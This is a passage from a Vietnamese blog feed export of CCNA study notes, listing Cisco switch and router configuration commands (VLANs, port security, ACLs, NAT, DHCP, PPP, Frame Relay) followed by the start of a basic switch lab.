/&gt;Switch(config-int)#speed tốc độ&lt;br /&gt;Switch(config-int)#duplex full&lt;br /&gt;&lt;br /&gt;5.Thiết lập dịch vụ HTTP và cổng&lt;br /&gt;&lt;br /&gt;Switch(config)#ip http server&lt;br /&gt;Switch(config)#ip http port 80&lt;br /&gt;&lt;br /&gt;6.Thiết lập, quản lý địa chỉ MAC&lt;br /&gt;&lt;br /&gt;Switch(config)#mac-address-table static địa chỉ MAC interface fastethernet số vlan&lt;br /&gt;Switch#show mac-address-table&lt;br /&gt;Switch#clear mac-address-table&lt;br /&gt;&lt;br /&gt;7.Cấu hình bảo mật cho cổng&lt;br /&gt;&lt;br /&gt;Switch(config-if)#switchport mode acess&lt;br /&gt;Switch(config-if)#switchport port-security&lt;br /&gt;&lt;br /&gt;Cấu hình Static: Switch(config-if)#switchport port-security mac-address địa chỉ Mac&lt;br /&gt;&lt;br /&gt;Cấu hình Sticky: Switch(config-if)#switchport port-security mac-address sticky (thông dụng nhất)&lt;br /&gt;&lt;br /&gt;Switch(config-if)#switchport port-security maximum value&lt;br /&gt;Switch(config-if)#switchport port-security violation shutdown&lt;br /&gt;&lt;br /&gt;8.Tạo Vlan&lt;br /&gt;&lt;br /&gt;Cách 1.&lt;br /&gt;&lt;br /&gt;Switch#vlan database&lt;br /&gt;Switch(vlan)#vlan number&lt;br /&gt;&lt;br /&gt;Cách 2. Khi gán các cổng vào vlan, dù vlan chưa tồn tại nhưng Switch vẫn tự tạo.&lt;br /&gt;&lt;br /&gt;Switch(config)#interface fastethernet 0/0&lt;br /&gt;Switch(config-int)#switchport access vlan vlan-id&lt;br /&gt;&lt;br /&gt;Muốn xoá vlan ta làm như sau:&lt;br /&gt;&lt;br /&gt;Switch(config-if)#no switchport access vlan vlan-id&lt;br /&gt;Switch#clear vlan vlan_number (xoá toàn bộ vlan )&lt;br /&gt;&lt;br /&gt;9.Gán nhiều cổng vào trong vlan cùng một lúc, cấu hình Range&lt;br /&gt;&lt;br /&gt;Đối với dãy cổng không liên tục.&lt;br /&gt;Switch(config)#interface range cổng 1 , cổng 2 , cổng 3&lt;br /&gt;&lt;br /&gt;Đối với một dãy liên tục.&lt;br /&gt;Switch(config)#interface range cổng 1-n&lt;br /&gt;Switch(config-range)#switchport access vlan vlan-id&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br /&gt;Switch(config)#interface range f0/0 , f0/2 , f0/4&lt;br /&gt;Switch(config)#interface range f0/0-10&lt;br /&gt;Switch(config-range)#switchport access vlan 10&lt;br /&gt;&lt;br /&gt;10.Cấu hình Trunk&lt;br /&gt;&lt;br /&gt;Switch(config-if)#switchport mode trunk&lt;br /&gt;Switch(config-if)#switchpor trunk encapsulation encapsulation-type&lt;br /&gt;Switch#show trunk&lt;br /&gt;&lt;br /&gt;11.Cấu hình VTP&lt;br /&gt;&lt;br /&gt;Switch#vlan database&lt;br /&gt;Switch(vlan)#vtp v2-mode&lt;br /&gt;Switch(vlan)#vtp domain tên domain&lt;br /&gt;Switch(vlan)#vtp {server/client/transperant}&lt;br /&gt;Switch(vlan)#vtp password password (Tạo pass cho domain)&lt;br /&gt;Switch#show vtp status&lt;br /&gt;&lt;br /&gt;12.Cấu hình Inter-Vlan trên Router&lt;br /&gt;&lt;br /&gt;Router(config)#interface fastethernet 0/0.1&lt;br /&gt;Router(config-subif)#encapsulation type&lt;br /&gt;Router(config-subif)#ip address địa chỉ subnetmask&lt;br /&gt;&lt;br /&gt;Phần 3. Access-list và các cấu hình liên quan.&lt;br /&gt;&lt;br /&gt;1.Nhắc lại về lý thuyết.&lt;br /&gt;&lt;br /&gt;Có 2 loại access-list.&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Loại thứ nhất: Standard IP Access-list chỉ lọc dữ liệu dựa vào địa chỉ IP nguồn. Range của loại này là từ 1à 99. Nên được áp dụng với cổng gần đích nhất.&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Loại thứ hai: Extended IP Access-list lọc dữ liệu dựa vào&lt;br /&gt;&lt;!--[if !supLists]--&gt;o &lt;!--[endif]--&gt;Địa chỉ IP nguồn&lt;br /&gt;&lt;!--[if !supLists]--&gt;o &lt;!--[endif]--&gt;Địa chỉ IP đích&lt;br /&gt;&lt;!--[if !supLists]--&gt;o &lt;!--[endif]--&gt;Giao thức (TCP, UDP)&lt;br /&gt;&lt;!--[if !supLists]--&gt;o &lt;!--[endif]--&gt;Số cổng (HTTP, Telnet…)&lt;br /&gt;&lt;!--[if !supLists]--&gt;o &lt;!--[endif]--&gt;Và các thông số khác như Windcard mask&lt;br /&gt;Range của loại này là từ 100 à199. Nên được áp dụng với cổng gần nguồn nhất.&lt;br /&gt;&lt;br /&gt;Hai bước để cấu hình Access-list&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Bước 1: Tạo access-list trong chế độ cấu hình config.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Bước 2: Áp dụng access-list cho từng cổng tuỳ theo yêu cầu ở chế độ cấu hình (config-if)&lt;br /&gt;&lt;br /&gt;Lưu ý:&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Mặc định của tất cả Access-list là deny all, vì vậy trong tất cả các access-list tối thiểu phải có 1 lệnh permit. Nếu trong access-list có cả permit và deny thì nên để các dòng lệnh permit bên trên.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Về hướng của access-list (In/Out) khi áp dụng vào cổng có thể hiểu đơn giản là: In là từ host, Out là tới host hay In vào trong Router, còn Out là ra khỏi Router.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Đối với IN router kiểm tra gói tin trước khi nó được đưa tới bảng xử lý. Đối vơi OUT, router kiểm tra gói tin sau khi nó vào bảng xử lý.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Windcard mask được tính bằng công thức:&lt;br /&gt;WM = 255.255.255.255 – Subnet mask (Áp dụng cho cả Classful và Classless addreess)&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;0.0.0.0 255.255.255.255 = any.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Ip address 0.0.0.0 = host ip address (chỉ định từng host một )&lt;br /&gt;&lt;br /&gt;2.Cấu hình Standard Access-list (Ví dụ)&lt;br /&gt;&lt;br /&gt;Router(config)#access-list 1 deny 172.16.0.0 0.0.255.255&lt;br /&gt;Router(config)#access-list 1 permit any&lt;br /&gt;Router(config)#interface fastethernet 0/0&lt;br /&gt;Router(config-in)#ip access-group in&lt;br /&gt;&lt;br /&gt;3.Cấu hình Extended Access-list (Ví dụ)&lt;br /&gt;&lt;br /&gt;Router(config)#access-list 101 deny tcp 172.16.0.0 0.0.255.255 host 192.168.1.1 eq telnet&lt;br /&gt;Router(config)#access-list 101 deny tcp 172.16.0.0 0.0.255.255 host 192.168.1.2 eq ftp&lt;br /&gt;Router(config)#access-list 101 permit any any&lt;br /&gt;Router(config)#interface fastethernet 0/0&lt;br /&gt;Router(config-int)#ip access-group out&lt;br /&gt;&lt;br /&gt;4.Cấu hình named ACL thay cho các số hiệu.&lt;br /&gt;&lt;br /&gt;Router(config)#ip access-list extended server-access (tên của access-list)&lt;br /&gt;Router(config-ext-nacl)#permit tcp any host 192.168.1.3 eq telnet&lt;br /&gt;Router(config)#interface fastethernet 0/0&lt;br /&gt;Router(config-int)#ip access-group server-access out&lt;br /&gt;&lt;br /&gt;5.Permit hoặc Deny Telnet sử dụng Standard Acl (Ví dụ)&lt;br /&gt;&lt;br /&gt;Router(config)#access-list 2 permit 172.16.0.0 0.0.255.255&lt;br /&gt;Router(config)#access-list 2 deny any&lt;br /&gt;Router(config)#line vty 0 4&lt;br /&gt;Router(config-line)#password cisco&lt;br /&gt;Router(config-line)#login&lt;br /&gt;Router(config-line)#ip access-class 2 in&lt;br /&gt;&lt;br /&gt;6.Xoá và kiểm tra Access-list&lt;br /&gt;&lt;br /&gt;Muốn xoá thì ta dùng lệnh sau:&lt;br /&gt;Router(config)# no ip access-list số hiệu&lt;br /&gt;&lt;br /&gt;Kiểm tra Acl ta dùng các lệnh sau:&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show access-list&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show running-config&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;show ip interface&lt;br /&gt;&lt;br /&gt;Phần 4. NAT – PPP – Frame Relay&lt;br /&gt;&lt;br /&gt;I.Cấu hình NAT&lt;br /&gt;&lt;br /&gt;    * Cấu hình Static NAT&lt;br /&gt;&lt;br /&gt;Cấu hình NAT trong chế độ Router(config). Các lệnh như sau&lt;br /&gt;&lt;br /&gt;Router(config)#ip nat inside source static [inside local address] [inside global address]&lt;br /&gt;Ví dụ:&lt;br /&gt;R(config)#ip nat inside source statice 10.0.0.1 202.103.2.1 (Địa chỉ 10.10.0.1 sẽ được chuyển thành 202.103.2.1 khi đi ra khỏi Router)&lt;br /&gt;&lt;br /&gt;Sau khi cấu hình xong phải áp dụng vào cổng in và cổng out, trong ví dụ dưới đây, cổng Ethernet là công in, còn cổng Serial là cổng out&lt;br /&gt;&lt;br /&gt;Router(config)#interface ethernet 0&lt;br /&gt;Router(config-if)#ip nat inside&lt;br /&gt;&lt;br /&gt;Router(config)#interface serial 0&lt;br /&gt;Router(config-if)#ip nat outside&lt;br /&gt;&lt;br /&gt;    * Cấu hình Dynamic NAT&lt;br /&gt;&lt;br /&gt;Router(config)#ip nat pool [ tên pool] [A.B.C.D A1.B1.C1.D1] netmask [mặt nạ]&lt;br /&gt;Router(config)#ip nat inside source list [số hiệu ACL] pool [tên pool]&lt;br /&gt;Router(config)#access-list [số hiệu ACL] permit A.B.C.D windcard masks&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br /&gt;R(config)#ip nat pool nat-pool1 179.9.8.80 179.9.8.95 netmask 255.255.255.0&lt;br /&gt;R(config)#ip nat inside source list 1 pool nat-pool1&lt;br /&gt;R(config)#access-list 1 permit 10.1.0.0 0.0.0.255&lt;br /&gt;&lt;br /&gt;Sau đó áp vào cổng In và Out như Static NAT&lt;br /&gt;&lt;br /&gt;Note: Giải địa chỉ inside local address và inside global address phải nằm trong giải cho phép của ACL&lt;br /&gt;&lt;br /&gt;    * Cấu hình PAT overload&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;          o Cấu hình overload với 1 địa chỉ IP cụ thể.&lt;br /&gt;&lt;br /&gt;Router(config)#ip nat pool [tên pool] [ip global inside] [subnet mask]&lt;br /&gt;Router(config)#ip nat inside source list [tên số hiệu ACL] pool [tên pool] overload&lt;br /&gt;Router(config)#access-list [số hiệu] permit [địa chỉ] [windcard mask]&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br /&gt;R(config)#access-list 2 permit 10.0.0.0 0.0.0.255&lt;br /&gt;R(config)#ip nat pool nat-pool2 179.9.8.20 255.255.255.240&lt;br /&gt;R(config)#ip nat inside source list 2 nat-pool2 overload&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;          o Cấu hình overload dùng địa chỉ của cổng ra.(Thường xuyên được dung hơn là trường hợp trên)&lt;br /&gt;&lt;br /&gt;Router(config)#ip nat inside source list [tên số hiệu ACL] interface [cổng ra] overload&lt;br /&gt;Router(config)#access-list [số hiệu] permit [địa chỉ] [windcard mask]&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br /&gt;R(config)#ip nat inside source list 3 interface serial 0 overload&lt;br /&gt;R(config)#access-list 3 permit 10.0.0.0 0.0.0.255&lt;br /&gt;&lt;br /&gt;    * Các lệnh Clear NAT/PAT&lt;br /&gt;&lt;br /&gt;Lệnh xóa tất cả dynamic nat trên toàn bộ các interface.&lt;br /&gt;Router#clear ip nat translation *&lt;br /&gt;&lt;br /&gt;Lệnh xóa các single nat trên từng interface&lt;br /&gt;Router#clear ip nat translation [inside/outside] [global ip - local ip]&lt;br /&gt;&lt;br /&gt;Lệnh xóa các extended nat trên từng interface&lt;br /&gt;Router#clear ip nat translation protocol [inside/outside] [global ip - global port – local ip – local port]&lt;br /&gt;&lt;br /&gt;    * Kiểm tra và Debug các NAT và PAT&lt;br /&gt;&lt;br /&gt;Router#show ip nat translation&lt;br /&gt;Router#show ip nat statics&lt;br /&gt;Router#debug ip nat&lt;br /&gt;&lt;br /&gt;    * Cấu hình DHCP&lt;br /&gt;&lt;br /&gt;Router(config)#ip dhcp excluded-address ip-address (end-ip-address)&lt;br /&gt;Router(config)#ip dhcp pool [tên pool]&lt;br /&gt;Router(dhcp-config)#network addess subnetmask&lt;br /&gt;Router(dhcp-config)#default-router address&lt;br /&gt;Router(dhcp-config)#dns-server address&lt;br /&gt;Router(dhcp-config)#netbios-name-server address&lt;br /&gt;Router(dhcp-config)#domain-name tên domain&lt;br /&gt;Router(dhcp-config)#lease ngày/giờ/phút&lt;br /&gt;&lt;br /&gt;    * Kiểm tra và troubleshoot cấu hình DHCP&lt;br /&gt;&lt;br /&gt;Router#show ip dhcp binding&lt;br /&gt;Router#debug ip dhcp server events&lt;br /&gt;&lt;br /&gt;    * Trong trường hợp DHCP server không nằm cùng mạng với host&lt;br /&gt;&lt;br /&gt;Note: khi DHCP server không cùng mạng với host thì ta phải dùng lệnh ip helper-address giúp host đến DHCP server.&lt;br /&gt;&lt;br /&gt;Router(config)#interface [cổng nằm cùng mạng với host]&lt;br /&gt;Router(config-if)#ip helper-address [địa chỉ của DHCP server]&lt;br /&gt;&lt;br /&gt;Note: Trong trường hợp muốn gói tin của host được broadcast ở mạng chứa DHCP thì ta dùng thêm lệnh ip directed-broadcast ở cổng cùng mạng với DHCP server&lt;br /&gt;&lt;br /&gt;Router(config)#interface [cổng nằm cùng mạng với dhcp]&lt;br /&gt;Router(config-ì)#ip directed-broadcast&lt;br /&gt;&lt;br /&gt;II. Cấu hình PPP&lt;br /&gt;&lt;br /&gt;1. Cấu hình cơ bản:&lt;br /&gt;&lt;br /&gt;R(config)#interface serial 0/0&lt;br /&gt;R(config-if)#encapsulation ppp&lt;br /&gt;&lt;br /&gt;2. Cấu hình PAP&lt;br /&gt;&lt;br /&gt;Cấu hình PAP không yêu cầu hai Router giống nhau về password nhưng CHAP thì phải có.&lt;br /&gt;&lt;br /&gt;(Cấu hình trên RA)&lt;br /&gt;R(config)#host RA&lt;br /&gt;RA(config)#username RB password 321&lt;br /&gt;RA(config-if)#encapsulation ppp&lt;br /&gt;RA(config-if)#ppp authentication pap&lt;br /&gt;RA(config-if)#ppp pap sent-username RA password 123&lt;br /&gt;&lt;br /&gt;(Cấu hình trên RB)&lt;br /&gt;R(config)#host RB&lt;br /&gt;RB(config)#username RA password 123&lt;br /&gt;RB(config-if)#encapsulation ppp&lt;br /&gt;RB(config-if)#ppp authentication pap&lt;br /&gt;RB(config-if)#ppp pap sent-username RB password 321&lt;br /&gt;&lt;br /&gt;3. Cấu hình CHAP. (yêu cầu phải giống nhau về password)&lt;br /&gt;&lt;br /&gt;(Cấu hình trên RA)&lt;br /&gt;R(config)#host RA&lt;br /&gt;RA(config)#username RB password 123&lt;br /&gt;RA(config-if)encapsulation ppp&lt;br /&gt;RA(config-if)ppp authentication chap&lt;br /&gt;&lt;br /&gt;(Cấu hình trên RB)&lt;br /&gt;&lt;br /&gt;R(config)#host RB&lt;br /&gt;RB(config)#username RA password 123&lt;br /&gt;RB(config-if)encapsulation ppp&lt;br /&gt;RB(config-if)ppp authentication chap&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Các cấu hình khác của PPP&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;a. &lt;!--[endif]--&gt;Cấu hình Multilink&lt;br /&gt;&lt;br /&gt;R(config-if)#encapsulation ppp&lt;br /&gt;R(config-if)#ppp multilink&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;b. &lt;!--[endif]--&gt;Cấu hình Compression&lt;br /&gt;&lt;br /&gt;R(config-if)#encapsulation ppp&lt;br /&gt;R(config-if)#compress [predictor/stac/mppc]&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;c. &lt;!--[endif]--&gt;Cấu hình Error detection&lt;br /&gt;&lt;br /&gt;R(config-if)#encapsulation ppp&lt;br /&gt;R(config-if)#ppp quality [phần trăm]&lt;br /&gt;&lt;br /&gt;5. Các lệnh kiểm tra cấu hình PPP&lt;br /&gt;&lt;br /&gt;R#show interface (xem encapsulation)&lt;br /&gt;R#debug ppp negotiation (Xem quá trình kết nối giữa 2 node)&lt;br /&gt;R#debug ppp authentication (Xem quá trình xác thực giữa 2 node)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;III. Cấu hình Frame-Relay&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;1. &lt;!--[endif]--&gt;Cấu hình đơn giản&lt;br /&gt;&lt;br /&gt;R(config-if)#encapsulation frame-relay {ciso| ietf} (mặc định là cisco)&lt;br /&gt;&lt;br /&gt;Khi lệnh này được thực thi, DLCI sẽ được Inverse ARP tự động map, người dùng không cần phải làm gì cả.&lt;br /&gt;&lt;br /&gt;* Nhưng Inverse ARP không làm việc với các kết nối Hub-and-Spoke&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;2. &lt;!--[endif]--&gt;Cấu hình Frame-relay static map&lt;br /&gt;&lt;br /&gt;R(config-if)#encapsulation frame-relay&lt;br /&gt;R(config-if)#frame-relay map ip remote–ip-address local-dlci [broadcast] [cisco| ietf]&lt;br /&gt;(ip address trong dòng lệnh trên chỉ lấy làm minh họa bởi nó rất phổ biến, chính xác phải là remote–protocol–address)&lt;br /&gt;Broadcast trong câu lệnh trên có 2 chức năng:&lt;br /&gt;&lt;!--[if !supLists]--&gt;§ &lt;!--[endif]--&gt;Forward broadcast khi multicast không được khởi động.&lt;br /&gt;&lt;!--[if !supLists]--&gt;§ &lt;!--[endif]--&gt;Đơn giản hóa cấu hình OSPF cho mạng nonbroadcast sử dụng FRelay.&lt;br /&gt;Ví dụ:&lt;br /&gt;&lt;br /&gt;R(config-if)#encapsulation frame-relay&lt;br /&gt;R(config-if)#frame-relay map ip 192.168.2.1 100 broadcast&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;3. &lt;!--[endif]--&gt;Cấu hình FR trong mạng None Broadcast MutiAccess&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Trong mạng Broadcast khi 1 máy tính truyền frame tất cả các node lắng nghe frame nhưng chỉ có node cần nhận mới nhận được.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Trong mạng None Broadcast khi 1 máy tính truyền frame thì chỉ có node cần nhận mới lắng nghe và nhận được frame đó, các node còn lại thì không. Frame được truyền qua 1 virtual Circuit hoặc 1 thiết bị chuyển mạch.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Star topology có thể được coi như là 1 mạng Hub and Spoke.&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;4. &lt;!--[endif]--&gt;Giải quyết vấn đề với Routing Updates mà không disable Split Horizal&lt;br /&gt;&lt;br /&gt;Giải pháp dùng Sub-interface&lt;br /&gt;&lt;br /&gt;R(config)#interface s0/0&lt;br /&gt;R(config-if)#encapsulation frame-relay&lt;br /&gt;R(config-if)interface s0/0.1 [multipoint| point-to-point]&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;point-to-point: Mỗi subinterface có subnet riêng của mình. Broadcast và Split horizol không là vấn đề.&lt;br /&gt;&lt;!--[if !supLists]--&gt;- &lt;!--[endif]--&gt;Multi-point: Tất cả các subinterface liên quan phải cùng chung 1 subnet và như vậy Broadcast và Split horizol sẽ có vấn đề.&lt;br /&gt;&lt;br /&gt;Ví dụ:&lt;br /&gt;(Point-to-point)&lt;br /&gt;R(config)#interface s0/0&lt;br /&gt;R(config-if)#encapsulation frame-relay&lt;br /&gt;R(config-if)#interface s0/0.1 point-to-point&lt;br /&gt;R(config-subif)#frame-relay interface-dlci 18&lt;br /&gt;&lt;br /&gt;(Multipoint)&lt;br /&gt;R(config)#interface s0/0&lt;br /&gt;R(config-if)#encapsulation frame-relay&lt;br /&gt;R(config-if)#interface s0/0.2 multipoint&lt;br /&gt;R(config-subif)#frame-relay interface-dlci 19&lt;br /&gt;R(config-subif)#frame-relay interface-dlci 20&lt;br /&gt;&lt;br /&gt;&lt;!--[if !supLists]--&gt;5. &lt;!--[endif]--&gt;Cấu hình trên Frame-relay Switching (ví dụ)&lt;br /&gt;&lt;br /&gt;R(config)#frame-relay switching&lt;br /&gt;R(config)#interface s0/0&lt;br /&gt;R(config-if)#encapsulation frame-relay&lt;br /&gt;R(config-if)#frame-relay intf-type dce&lt;br /&gt;R(config-if)#frame-relay route 103interface serial 0/1 301&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Theo [Chỉ có thành viên của diễn đàn mới xem được nội dung của liên kết này. ] Moderator&lt;hocit.com&gt;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-8474476766822889529?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/8474476766822889529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=8474476766822889529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/8474476766822889529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/8474476766822889529'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/10/tt-c-cc-lnh-cu-hnh-trong-ccna-theo.html' title='Tất cả các lệnh cấu hình trong CCNA theo chuyên mục'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-5074142539787986544</id><published>2008-10-02T01:02:00.001-07:00</published><updated>2008-10-02T01:02:55.795-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VLAN'/><category scheme='http://www.blogger.com/atom/ns#' term='Cisco Switch'/><title type='text'>Cấu hình switch cơ bản</title><content type='html'>Cấu hình switch cơ bản&lt;br /&gt;Lab 1-1: Cấu hình switch cơ bản&lt;br /&gt;&lt;br /&gt;Mô tả&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Cấu hình các thông số cơ bản cho Catalys Switch với giao diện dòng lệnh CLI. Các tác vụ cần thực hiện bao gồm đặt tên cho switch, cấu hình các interface vlan, cấu hình để telnet vào switch….Dùng máy trạm kết nối với switch qua kết nối console, giao diện tương tác người dùng sử dụng trình HyperTerminal. Đây là một công cụ đuợc MS Windows hỗ trợ.&lt;br /&gt;&lt;br /&gt;Thực hiện&lt;br /&gt;&lt;br /&gt;1. Khởi động nguồn của switch. Trên giao diện Hyper Terminal hiện ra các thông số khởi tạo trong quá trình khởi động Switch.&lt;br /&gt;% Please answer 'yes' or 'no'.&lt;br /&gt;Would you like to enter the initial configuration dialog? [yes/no]: no&lt;br /&gt;Press RETURN to get started!&lt;br /&gt;00:04:13: %LINK-5-CHANGED: Interface Vlan1, changed state to administratively down&lt;br /&gt;00:04:14: %LINEPROTO-5-UPDOWN: Line protocol on Interface Vlan1, changed state to down&lt;br /&gt;Người dùng sẽ được hỏi nếu muốn vào các hộp thoại để cấu hình tự động, trả lời NO (vì mục đích của người dùng là muốn vào chế độ CLI (command line interface).&lt;br /&gt;&lt;br /&gt;2. Vào enable mode xem cấu hình mặc định của switch&lt;br /&gt;&lt;br /&gt;Switch&gt;enable&lt;br /&gt;Switch#show running-config&lt;br /&gt;Building configuration...&lt;br /&gt;Current configuration : 1473 bytes&lt;br /&gt;!&lt;br /&gt;version 12.1&lt;br /&gt;!&lt;br /&gt;hostname Switch&lt;br /&gt;!&lt;br /&gt;ip subnet-zero&lt;br /&gt;!&lt;br /&gt;spanning-tree mode pvst&lt;br /&gt;spanning-tree extend system-id&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/1&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/2&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/3&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/4&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/5&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/6&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/7&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/8&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/9&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/10&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/11&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/12&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface GigabitEthernet0/1&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface GigabitEthernet0/2&lt;br /&gt;no ip address&lt;br /&gt;!&lt;br /&gt;interface Vlan1&lt;br /&gt;no ip address&lt;br /&gt;shutdown&lt;br /&gt;!&lt;br /&gt;ip classless&lt;br /&gt;ip http server&lt;br /&gt;!&lt;br /&gt;line con 0&lt;br /&gt;line vty 5 15&lt;br /&gt;!&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;3. Thiết lập các thông số cho switch như hostname, enable password, console password và virtual terminal password. Các loại password sử dụng có phân biệt chữ thường và chữ hoa. Do đó người dùng cần phân biết các ký tự sử dụng chữ viết hoa khác với chữ viêt thường. Ví dụ Cisco khác với cisco.&lt;br /&gt;&lt;br /&gt;Switch#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;Switch(config)#hostname Vnpro&lt;br /&gt;Vnpro(config)#enable password cisco&lt;br /&gt;Vnpro(config)#enable secret class&lt;br /&gt;Vnpro(config)#line console 0&lt;br /&gt;Vnpro(config-line)#password console&lt;br /&gt;Vnpro(config-line)#login&lt;br /&gt;Vnpro(config-line)#^Z&lt;br /&gt;&lt;br /&gt;Switch hỗ trợ các Virtual Line dùng cho các phiên telnet. Cần cấu hình password cho các line này mới có thể telnet vào Switch (trình tự cấu hình hỗ trợ telnet sẽ trình bày sau). Để xem thông tin về các Virtual Line trên Switch: dùng lệnh “show line”.&lt;br /&gt;&lt;br /&gt;Vnpro#show line&lt;br /&gt;Tty Typ Tx/Rx A Modem Roty AccO AccI Uses Noise Overruns Int&lt;br /&gt;* 0 CTY - - - - - 0 0 0/0 -&lt;br /&gt;1 VTY - - - - - 0 0 0/0 -&lt;br /&gt;2 VTY - - - - - 0 0 0/0 -&lt;br /&gt;3 VTY - - - - - 0 0 0/0 -&lt;br /&gt;4 VTY - - - - - 0 0 0/0 -&lt;br /&gt;5 VTY - - - - - 0 0 0/0 -&lt;br /&gt;6 VTY - - - - - 0 0 0/0 -&lt;br /&gt;7 VTY - - - - - 0 0 0/0 -&lt;br /&gt;8 VTY - - - - - 0 0 0/0 -&lt;br /&gt;9 VTY - - - - - 0 0 0/0 -&lt;br /&gt;10 VTY - - - - - 0 0 0/0 -&lt;br /&gt;11 VTY - - - - - 0 0 0/0 -&lt;br /&gt;12 VTY - - - - - 0 0 0/0 -&lt;br /&gt;13 VTY - - - - - 0 0 0/0 -&lt;br /&gt;14 VTY - - - - - 0 0 0/0 -&lt;br /&gt;15 VTY - - - - - 0 0 0/0 -&lt;br /&gt;16 VTY - - - - - 0 0 0/0 -&lt;br /&gt;&lt;br /&gt;Cấu hình password cho các line vty&lt;br /&gt;Vnpro#config terminal&lt;br /&gt;Enter configuration commands, one per line. End with CNTL/Z.&lt;br /&gt;Vnpro(config)#line vty 0 4&lt;br /&gt;Vnpro(config-line)#password cisco&lt;br /&gt;Vnpro(config-line)#login&lt;br /&gt;&lt;br /&gt;Cấu hình trên thiết bị Cisco, mỗi dòng lệnh do người dùng gõ vào. Sau khi nhấn phím “enter” cấu hình hệ thống sẽ lập tức thay đổi. Vì vậy, đối với các hệ thống mạng thật, trước khi thay đổi một thông số nào đó của thiết bị, cần phải sao lưu lại cấu hình ban đầu để có thể khôi phục lại khi cần thiết.&lt;br /&gt;&lt;br /&gt;Bước 4: cấu hình Vlan.&lt;br /&gt;Kiếm tra cấu hình Vlan mặc định trên Switch&lt;br /&gt;Vnpro#show vlan&lt;br /&gt;VLAN Name Status Ports&lt;br /&gt;1 default active Fa0/1, Fa0/2, Fa0/3, Fa0/4&lt;br /&gt;Fa0/5, Fa0/6, Fa0/7, Fa0/8&lt;br /&gt;Fa0/9, Fa0/10, Fa0/11, Fa0/12&lt;br /&gt;Fa0/13, 